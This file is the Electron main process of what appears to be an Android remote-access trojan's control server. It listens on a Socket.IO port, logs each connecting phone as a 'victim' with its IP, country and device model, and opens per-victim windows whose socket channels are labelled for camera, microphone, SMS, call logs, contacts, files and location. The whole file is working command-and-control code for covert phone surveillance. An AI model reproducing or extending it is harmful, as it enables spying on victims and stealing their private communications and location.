main.js 7.1 KB

123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150151152153154155156157158159160161162163164165166167168169170171172173174175176177178179180181182183184185186187188189190191192193194195196197198199200201202203204205206207208209210211212213214215216217218219220221222223224225226227228229230231232233234235236237238239240241242243244245246247248249250251252253254255
  1. const { app, BrowserWindow } = require('electron')
  2. const electron = require('electron');
  3. const { ipcMain } = require('electron');
  4. var io = require('socket.io');
  5. var geoip = require('geoip-lite');
  6. var victimsList = require('./app/assets/js/model/Victim');
  7. module.exports = victimsList;
  8. //--------------------------------------------------------------
  9. let win;
  10. let display;
  11. var windows = {};
  12. var IO;
  13. //--------------------------------------------------------------
  14. function createWindow() {
  15. // get Display Sizes ( x , y , width , height)
  16. display = electron.screen.getPrimaryDisplay();
  17. //------------------------SPLASH SCREEN INIT------------------------------------
  18. // create the splash window
  19. let splashWin = new BrowserWindow({
  20. width: 600,
  21. height: 400,
  22. frame: false,
  23. transparent: true,
  24. icon: __dirname + '/app/assets/img/icon.png',
  25. type: "splash",
  26. alwaysOnTop: true,
  27. show: false,
  28. position: "center",
  29. resizable: false,
  30. toolbar: false,
  31. fullscreen: false,
  32. webPreferences: {
  33. nodeIntegration: true
  34. }
  35. });
  36. // load splash file
  37. splashWin.loadURL('file://' + __dirname + '/app/splash.html');
  38. splashWin.webContents.on('did-finish-load', function () {
  39. splashWin.show(); //close splash
  40. });
  41. // Emitted when the window is closed.
  42. splashWin.on('closed', () => {
  43. // Dereference the window object
  44. splashWin = null
  45. })
  46. //------------------------Main SCREEN INIT------------------------------------
  47. // Create the browser window.
  48. win = new BrowserWindow({
  49. icon: __dirname + '/app/assets/img/icon.png',
  50. width: 800,
  51. height: 600,
  52. show: false,
  53. resizable: false,
  54. position: "center",
  55. toolbar: false,
  56. fullscreen: false,
  57. transparent: true,
  58. frame: false,
  59. webPreferences: {
  60. nodeIntegration: true
  61. }
  62. });
  63. win.loadURL('file://' + __dirname + '/app/index.html');
  64. //open dev tools
  65. //win.webContents.openDevTools()
  66. // Emitted when the window is closed.
  67. win.on('closed', () => {
  68. // Dereference the window object, usually you would store windows
  69. // in an array if your app supports multi windows, this is the time
  70. // when you should delete the corresponding element.
  71. win = null
  72. })
  73. // Emitted when the window is finished loading.
  74. win.webContents.on('did-finish-load', function () {
  75. setTimeout(() => {
  76. splashWin.close(); //close splash
  77. win.show(); //show main
  78. }, 2000);
  79. });
  80. }
  81. // This method will be called when Electron has finished
  82. // initialization and is ready to create browser windows.
  83. // Some APIs can only be used after this event occurs.
  84. app.on('ready', createWindow)
  85. // Quit when all windows are closed.
  86. app.on('window-all-closed', () => {
  87. // On macOS it is common for applications and their menu bar
  88. // to stay active until the user quits explicitly with Cmd + Q
  89. if (process.platform !== 'darwin') {
  90. app.quit()
  91. }
  92. })
  93. app.on('activate', () => {
  94. // On macOS it's common to re-create a window in the app when the
  95. // dock icon is clicked and there are no other windows open.
  96. if (win === null) {
  97. createWindow()
  98. }
  99. })
  100. //handle the Uncaught Exceptions
  101. // fired when start listening
  102. // It will be fired when AppCtrl emit this event
  103. ipcMain.on('SocketIO:Listen', function (event, port) {
  104. IO = io.listen(port);
  105. IO.sockets.pingInterval = 10000;
  106. IO.sockets.on('connection', function (socket) {
  107. // Get victim info
  108. var address = socket.request.connection;
  109. var query = socket.handshake.query;
  110. var index = query.id;
  111. var ip = address.remoteAddress.substring(address.remoteAddress.lastIndexOf(':') + 1);
  112. var country = null;
  113. var geo = geoip.lookup(ip); // check ip location
  114. if (geo)
  115. country = geo.country.toLowerCase();
  116. // Add the victim to victimList
  117. victimsList.addVictim(socket, ip, address.remotePort, country, query.manf, query.model, query.release, query.id);
  118. //------------------------Notification SCREEN INIT------------------------------------
  119. // create the Notification window
  120. let notification = new BrowserWindow({
  121. frame: false,
  122. x: display.bounds.width - 280,
  123. y: display.bounds.height - 78,
  124. show: false,
  125. width: 280,
  126. height: 78,
  127. resizable: false,
  128. toolbar: false,
  129. webPreferences: {
  130. nodeIntegration: true
  131. }
  132. });
  133. // Emitted when the window is finished loading.
  134. notification.webContents.on('did-finish-load', function () {
  135. notification.show();
  136. setTimeout(function () { notification.destroy() }, 3000);
  137. });
  138. notification.webContents.victim = victimsList.getVictim(index);
  139. notification.loadURL('file://' + __dirname + '/app/notification.html');
  140. //notify renderer proccess (AppCtrl) about the new Victim
  141. win.webContents.send('SocketIO:NewVictim', index);
  142. socket.on('disconnect', function () {
  143. // Decrease the socket count on a disconnect
  144. victimsList.rmVictim(index);
  145. //notify renderer proccess (AppCtrl) about the disconnected Victim
  146. win.webContents.send('SocketIO:RemoveVictim', index);
  147. if (windows[index]) {
  148. //notify renderer proccess (LabCtrl) if opened about the disconnected Victim
  149. BrowserWindow.fromId(windows[index]).webContents.send("SocketIO:VictimDisconnected");
  150. //delete the window from windowsList
  151. delete windows[index]
  152. }
  153. });
  154. });
  155. });
  156. //handle the Uncaught Exceptions
  157. process.on('uncaughtException', function (error) {
  158. if (error.code == "EADDRINUSE") {
  159. win.webContents.send('SocketIO:Listen', "Address Already in Use");
  160. } else {
  161. electron.dialog.showErrorBox("ERROR", JSON.stringify(error));
  162. }
  163. });
  164. // Fired when Victim's Lab is opened
  165. ipcMain.on('openLabWindow', function (e, page, index) {
  166. //------------------------Lab SCREEN INIT------------------------------------
  167. // create the Lab window
  168. let child = new BrowserWindow({
  169. icon: __dirname + '/app/assets/img/icon.png',
  170. parent: win,
  171. width: 600,
  172. height: 650,
  173. darkTheme: true,
  174. transparent: true,
  175. resizable: false,
  176. frame: false,
  177. webPreferences: {
  178. nodeIntegration: true
  179. }
  180. })
  181. //add this window to windowsList
  182. windows[index] = child.id;
  183. //child.webContents.openDevTools();
  184. // pass the victim info to this victim lab
  185. child.webContents.victim = victimsList.getVictim(index).socket;
  186. child.loadURL('file://' + __dirname + '/app/' + page)
  187. child.once('ready-to-show', () => {
  188. child.show();
  189. });
  190. child.on('closed', () => {
  191. delete windows[index];
  192. //on lab window closed remove all socket listners
  193. if (victimsList.getVictim(index).socket) {
  194. victimsList.getVictim(index).socket.removeAllListeners("x0000ca"); // camera
  195. victimsList.getVictim(index).socket.removeAllListeners("x0000fm"); // file manager
  196. victimsList.getVictim(index).socket.removeAllListeners("x0000sm"); // sms
  197. victimsList.getVictim(index).socket.removeAllListeners("x0000cl"); // call logs
  198. victimsList.getVictim(index).socket.removeAllListeners("x0000cn"); // contacts
  199. victimsList.getVictim(index).socket.removeAllListeners("x0000mc"); // mic
  200. victimsList.getVictim(index).socket.removeAllListeners("x0000lm"); // location
  201. }
  202. })
  203. });